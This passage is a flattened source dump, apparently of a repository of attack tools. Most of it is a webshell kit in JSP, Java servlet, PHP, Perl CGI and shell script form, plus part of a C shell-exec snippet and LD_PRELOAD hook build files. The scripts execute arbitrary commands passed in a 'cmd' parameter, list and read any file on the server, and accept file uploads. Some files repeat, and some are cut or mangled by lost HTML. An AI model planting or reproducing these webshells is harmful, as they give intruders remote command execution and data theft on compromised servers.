COMMAND: %s
\n", cmd); 66 | fflush(stdout); 67 | execl("/bin/sh", "/bin/sh", "-c", cmd, 0); 68 | } 69 | 70 | } 71 | 72 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /webshell/jsp/CmdServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/virink/vFuckingTools/71cafcf60b347d09ff5c62fb9d7a27daea85b5e2/webshell/jsp/CmdServlet.class -------------------------------------------------------------------------------- /webshell/jsp/CmdServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * CmdServlet.java 20/01/2004 3 | * 4 | * @author The Dark Raver 5 | * @version 0.1 6 | */ 7 | 8 | import java.io.*; 9 | import javax.servlet.*; 10 | import javax.servlet.http.*; 11 | 12 | 13 | public class CmdServlet extends HttpServlet { 14 | 15 | public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { 16 | res.setContentType("text/html"); 17 | 18 | PrintWriter out = res.getWriter(); 19 | out.print(""); 20 | out.print(""); 24 | 25 | if(req.getParameter("cmd") != null) { 26 | out.print("\n
Command: " + req.getParameter("cmd") + "\n
\n"); 27 | Process p = Runtime.getRuntime().exec("cmd /c " + req.getParameter("cmd")); 28 | DataInputStream procIn = new DataInputStream(p.getInputStream()); 29 | int c='\0'; 30 | while ((c=procIn.read()) != -1) { 31 | out.print((char)c); 32 | } 33 | } 34 | 35 | out.print("\n"); 36 | out.print(""); 37 | } 38 | 39 | public String getServletInfo() { 40 | return "CmdServlet 0.1"; 41 | } 42 | 43 | } 44 | -------------------------------------------------------------------------------- /webshell/jsp/ListServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/virink/vFuckingTools/71cafcf60b347d09ff5c62fb9d7a27daea85b5e2/webshell/jsp/ListServlet.class -------------------------------------------------------------------------------- /webshell/jsp/ListServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * ListServlet.java 3 | * 4 | * @author Sierra 5 | * @version 0.1 6 | */ 7 | 8 | import java.io.*; 9 | import javax.servlet.ServletException; 10 | import javax.servlet.http.*; 11 | 12 | public class ListServlet extends HttpServlet 13 | { 14 | 15 | 16 | public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { 17 | PrintWriter printwriter = res.getWriter(); 18 | String path = req.getParameter("file"); 19 | 20 | printwriter.write("\n\n
\n"); 24 | 25 | File file = new File(path); 26 | 27 | if(file.isDirectory()) 28 | { 29 | String s = new String("Unknown"); 30 | String s2 = new String("Black"); 31 | File afile[] = file.listFiles(); 32 | for(int i = 0; i < afile.length; i++) 33 | { 34 | String s1 = new String(afile[i].toString()); 35 | printwriter.write("("); 36 | String s3; 37 | if(afile[i].isDirectory()) 38 | { 39 | printwriter.write("d"); 40 | s1 = s1 + "/"; 41 | s3 = new String("Blue"); 42 | } else 43 | if(afile[i].isFile()) 44 | { 45 | printwriter.write("-"); 46 | s3 = new String("Green"); 47 | } else 48 | { 49 | printwriter.write("?"); 50 | s3 = new String("Red"); 51 | } 52 | if(afile[i].canRead()) 53 | printwriter.write("r"); 54 | else 55 | printwriter.write("-"); 56 | if(afile[i].canWrite()) 57 | printwriter.write("w"); 58 | else 59 | printwriter.write("-"); 60 | printwriter.write(") " + s1.toString() + " " + "( Size: " + afile[i].length() + " bytes )"); 64 | } else 65 | if(file.canRead()) 66 | { 67 | FileInputStream fileinputstream = new FileInputStream(file); 68 | int j = 0; 69 | while(j >= 0) 70 | { 71 | j = fileinputstream.read(); 72 | printwriter.write(j); 73 | } 74 | fileinputstream.close(); 75 | } else 76 | { 77 | printwriter.write("Can't Read file
\n"); 61 | } 62 | 63 | printwriter.write("
"); 37 | 38 | while((c=post.read()) != -1 && c != '\r' && c != '\n') { 39 | tag=tag.concat("" + (char)c); 40 | contador++; 41 | } 42 | 43 | for(int i=0; i <4; i++) while((c=post.read()) != -1 && c != '\n') contador++; 44 | 45 | // out.print("CONTENT_LEN = " + req.getContentLength() + " / TAG = [" + tag + "] / TAG_LEN = " + tag.length() + "\n"); 46 | // out.print("CONTADOR = " + contador + " / FILE_LEN = " + (req.getContentLength() - tag.length() - contador - 11) + " ==>"); 47 | 48 | // (!) Uploaded File Name 49 | 50 | File newfile = new File("c:\\install.log"); 51 | 52 | ///////////////////////// 53 | 54 | FileOutputStream fileout = new FileOutputStream(newfile); 55 | 56 | for(int i=0; i < req.getContentLength() - tag.length() - contador - 11; i++) { 57 | c=post.read(); 58 | fileout.write((char)c); 59 | } 60 | 61 | fileout.close(); 62 | out.print("<== OK"); 63 | 64 | } 65 | 66 | 67 | public String getServletInfo() { 68 | return "UpServlet 0.1"; 69 | } 70 | 71 | } -------------------------------------------------------------------------------- /webshell/jsp/cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.util.*,java.io.*"%> 2 | <% 3 | // 4 | // JSP_KIT 5 | // 6 | // cmd.jsp = Command Execution (unix) 7 | // 8 | // by: Unknown 9 | // modified: 27/06/2003 10 | // 11 | %> 12 | 13 |17 |
18 | <% 19 | if (request.getParameter("cmd") != null) { 20 | out.println("Command: " + request.getParameter("cmd") + "33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /webshell/jsp/up.jsp: -------------------------------------------------------------------------------- 1 |
"); 21 | Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); 22 | OutputStream os = p.getOutputStream(); 23 | InputStream in = p.getInputStream(); 24 | DataInputStream dis = new DataInputStream(in); 25 | String disr = dis.readLine(); 26 | while ( disr != null ) { 27 | out.println(disr); 28 | disr = dis.readLine(); 29 | } 30 | } 31 | %> 32 |
17 | 18 | if($_GET['cmd']) { 19 | system($_GET['cmd']); 20 | } 21 | ?> 22 |23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /webshell/php/list.php: -------------------------------------------------------------------------------- 1 | 2 | // 3 | // PHP_KIT 4 | // 5 | // list.php = Directory & File Listing 6 | // 7 | // by: The Dark Raver 8 | // modified: 21/01/2004 9 | // 10 | ?> 11 | 12 | 13 | 14 | if($_GET['file']) { 15 | $fichero=$_GET['file']; 16 | } else { 17 | $fichero="/"; 18 | } 19 | 20 | if($handle = @opendir($fichero)) { 21 | while($filename = readdir($handle)) { 22 | echo "( ) " . $filename . "
"; 27 | $fp = fopen($fichero, "r"); 28 | $buffer = fread($fp, filesize($fichero)); 29 | echo $buffer; 30 | fclose($fp); 31 | } 32 | 33 | ?> -------------------------------------------------------------------------------- /webshell/php/supershell.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /webshell/php/up.php: -------------------------------------------------------------------------------- 1 | 2 | // 3 | // PHP_KIT 4 | // 5 | // up.php = File Upload 6 | // 7 | // by: The Dark Raver 8 | // modified: 21/01/2004 9 | // 10 | ?> 11 | 12 | 13 | 14 |
'; 31 | 32 | if(defined $FORM{'cmd'}) { 33 | print "Results of '$cmd' execution:\n\n"; 34 | print "-"x80; 35 | print "\n"; 36 | 37 | open(CMD, "($cmd) 2>&1 |") || print "Could not execute command"; 38 | 39 | while("; 49 | 50 | sub parse_parameters ($) { 51 | my %ret; 52 | 53 | my $input = shift; 54 | 55 | foreach my $pair (split('&', $input)) { 56 | my ($var, $value) = split('=', $pair, 2); 57 | 58 | if($var) { 59 | $value =~ s/\+/ /g ; 60 | $value =~ s/%(..)/pack('c',hex($1))/eg; 61 | 62 | $ret{$var} = $value; 63 | } 64 | } 65 | 66 | return %ret; 67 | } 68 | -------------------------------------------------------------------------------- /webshell/pl-cgi/list.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # PerlKit-0.1 - http://www.t0s.org 4 | # 5 | # browse.pl: Browse and download files from a webserver 6 | 7 | use strict; 8 | 9 | my ($path, %FORM); 10 | 11 | $|=1; 12 | 13 | 14 | # Get parameters 15 | 16 | %FORM = parse_parameters($ENV{'QUERY_STRING'}); 17 | 18 | if(defined $FORM{'path'}) { 19 | $path = $FORM{'path'}; 20 | 21 | 22 | } else { 23 | $path = "/"; 24 | } 25 | 26 | if(-f $path) { # Download selected file 27 | print "Content-Type: application/octet-stream\r\n"; 28 | print "\r\n"; 29 | open(FILE, "< $path") || print "Could not open file\n"; 30 | 31 | while() { 40 | print; 41 | } 42 | 43 | close(CMD); 44 | print "-"x80; 45 | print "\n"; 46 | } 47 | 48 | print "
50 |
51 | ';
52 |
53 | if(defined $FORM{'path'}) {
54 |
55 | opendir(DIR, $path) || print "Could not open directory";
56 |
57 | foreach (sort(readdir(DIR))) {
58 | print get_fileinfo($path, $_). "\n";
59 | }
60 |
61 | closedir(DIR);
62 |
63 | }
64 |
65 | print "
";
66 |
67 | sub parse_parameters ($) {
68 | my %ret;
69 |
70 | my $input = shift;
71 |
72 | foreach my $pair (split('&', $input)) {
73 | my ($var, $value) = split('=', $pair, 2);
74 |
75 | if($var) {
76 | $value =~ s/\+/ /g ;
77 | $value =~ s/%(..)/pack('c',hex($1))/eg;
78 |
79 | $ret{$var} = $value;
80 | }
81 | }
82 |
83 | return %ret;
84 | }
85 |
86 | sub get_fileinfo ($$) {
87 | my $ret;
88 |
89 | my ($dir,$filename) = @_;
90 | my $file = $dir . "/" . $filename;
91 |
92 | $file=~s/\/+/\//g;
93 |
94 | $ret = "
Command: " + req.getParameter("cmd") + "\n
\n"); 27 | Process p = Runtime.getRuntime().exec("cmd /c " + req.getParameter("cmd")); 28 | DataInputStream procIn = new DataInputStream(p.getInputStream()); 29 | int c='\0'; 30 | while ((c=procIn.read()) != -1) { 31 | out.print((char)c); 32 | } 33 | } 34 | 35 | out.print("\n"); 36 | out.print(""); 37 | } 38 | 39 | public String getServletInfo() { 40 | return "CmdServlet 0.1"; 41 | } 42 | 43 | } 44 | -------------------------------------------------------------------------------- /webshell/servlet/ListServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * ListServlet.java 3 | * 4 | * @author Sierra 5 | * @version 0.1 6 | */ 7 | 8 | import java.io.*; 9 | import javax.servlet.ServletException; 10 | import javax.servlet.http.*; 11 | 12 | public class ListServlet extends HttpServlet 13 | { 14 | 15 | 16 | public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { 17 | PrintWriter printwriter = res.getWriter(); 18 | String path = req.getParameter("file"); 19 | 20 | printwriter.write("\n\n
\n"); 24 | 25 | File file = new File(path); 26 | 27 | if(file.isDirectory()) 28 | { 29 | String s = new String("Unknown"); 30 | String s2 = new String("Black"); 31 | File afile[] = file.listFiles(); 32 | for(int i = 0; i < afile.length; i++) 33 | { 34 | String s1 = new String(afile[i].toString()); 35 | printwriter.write("("); 36 | String s3; 37 | if(afile[i].isDirectory()) 38 | { 39 | printwriter.write("d"); 40 | s1 = s1 + "/"; 41 | s3 = new String("Blue"); 42 | } else 43 | if(afile[i].isFile()) 44 | { 45 | printwriter.write("-"); 46 | s3 = new String("Green"); 47 | } else 48 | { 49 | printwriter.write("?"); 50 | s3 = new String("Red"); 51 | } 52 | if(afile[i].canRead()) 53 | printwriter.write("r"); 54 | else 55 | printwriter.write("-"); 56 | if(afile[i].canWrite()) 57 | printwriter.write("w"); 58 | else 59 | printwriter.write("-"); 60 | printwriter.write(") " + s1.toString() + " " + "( Size: " + afile[i].length() + " bytes )"); 64 | } else 65 | if(file.canRead()) 66 | { 67 | FileInputStream fileinputstream = new FileInputStream(file); 68 | int j = 0; 69 | while(j >= 0) 70 | { 71 | j = fileinputstream.read(); 72 | printwriter.write(j); 73 | } 74 | fileinputstream.close(); 75 | } else 76 | { 77 | printwriter.write("Can't Read file
\n"); 61 | } 62 | 63 | printwriter.write("
"); 37 | 38 | while((c=post.read()) != -1 && c != '\r' && c != '\n') { 39 | tag=tag.concat("" + (char)c); 40 | contador++; 41 | } 42 | 43 | for(int i=0; i <4; i++) while((c=post.read()) != -1 && c != '\n') contador++; 44 | 45 | // out.print("CONTENT_LEN = " + req.getContentLength() + " / TAG = [" + tag + "] / TAG_LEN = " + tag.length() + "\n"); 46 | // out.print("CONTADOR = " + contador + " / FILE_LEN = " + (req.getContentLength() - tag.length() - contador - 11) + " ==>"); 47 | 48 | // (!) Uploaded File Name 49 | 50 | File newfile = new File("c:\\install.log"); 51 | 52 | ///////////////////////// 53 | 54 | FileOutputStream fileout = new FileOutputStream(newfile); 55 | 56 | for(int i=0; i < req.getContentLength() - tag.length() - contador - 11; i++) { 57 | c=post.read(); 58 | fileout.write((char)c); 59 | } 60 | 61 | fileout.close(); 62 | out.print("<== OK"); 63 | 64 | } 65 | 66 | 67 | public String getServletInfo() { 68 | return "UpServlet 0.1"; 69 | } 70 | 71 | } -------------------------------------------------------------------------------- /webshell/sh/cmd.sh: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/virink/vFuckingTools/71cafcf60b347d09ff5c62fb9d7a27daea85b5e2/webshell/sh/cmd.sh -------------------------------------------------------------------------------- /webshell/sh/list.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # SH_KIT 4 | # 5 | # list.sh = Directory & File Listing 6 | # 7 | # by: The Dark Raver 8 | # modified: 16/12/2005 9 | # 10 | 11 | echo Content-Type: text/html 12 | echo 13 | 14 | if [ "$QUERY_STRING" != "" ] 15 | then 16 | echo PATH: $QUERY_STRING "
" 17 | echo `ls $QUERY_STRING` > /tmp/test 18 | else 19 | echo PATH: / "
" 20 | echo > /tmp/test 21 | QUERY_STRING="/" 22 | root="1" 23 | fi 24 | 25 | out=`grep "/" /tmp/test` 26 | 27 | if [ "$out" != "" ] 28 | then 29 | echo FICHERO: $QUERY_STRING 30 | echo "" 31 | cat $QUERY_STRING 32 | else 33 | if [ "$root" != "1" ] 34 | then 35 | echo "( ) ".."
" 36 | fi 37 | for i in `ls $QUERY_STRING` 38 | do 39 | if [ "$root" == "1" ] 40 | then 41 | echo "( ) "$i"
" 42 | else 43 | echo "( ) "$i"
" 44 | fi 45 | done 46 | 47 | fi -------------------------------------------------------------------------------- /webshell/sh/up.sh: -------------------------------------------------------------------------------- 1 | echo Content-Type: text/html 2 | echo 3 | echo "" 4 | echo "
" 16 | cat /tmp/upload 17 | echo "" 18 | 19 | -------------------------------------------------------------------------------- /wrapper/Makefile: -------------------------------------------------------------------------------- 1 | default: 2 | @echo "\tmake hookall" 3 | @echo "\tmake hook64" 4 | @echo "\tmake hook32" 5 | @echo "\tmake pipe" 6 | @echo "\tmake socket" 7 | 8 | hookall: hook64 hook32 9 | 10 | hook64: hook.c mdir 11 | gcc -fPIC -shared -o bin/hook.so hook.c -ldl 12 | hook32: hook.c mdir 13 | gcc -m32 -fPIC -shared -o hook.so.32 hook.c -ldl 14 | pipe: mdir 15 | gcc wrapper_pipe.c -o bin/wrapper_pipe 16 | socket: mdir 17 | gcc wrapper_socket.c -o wrapper_socket 18 | mdir: 19 | mkdir bin -------------------------------------------------------------------------------- /wrapper/hook.c: -------------------------------------------------------------------------------- 1 | #include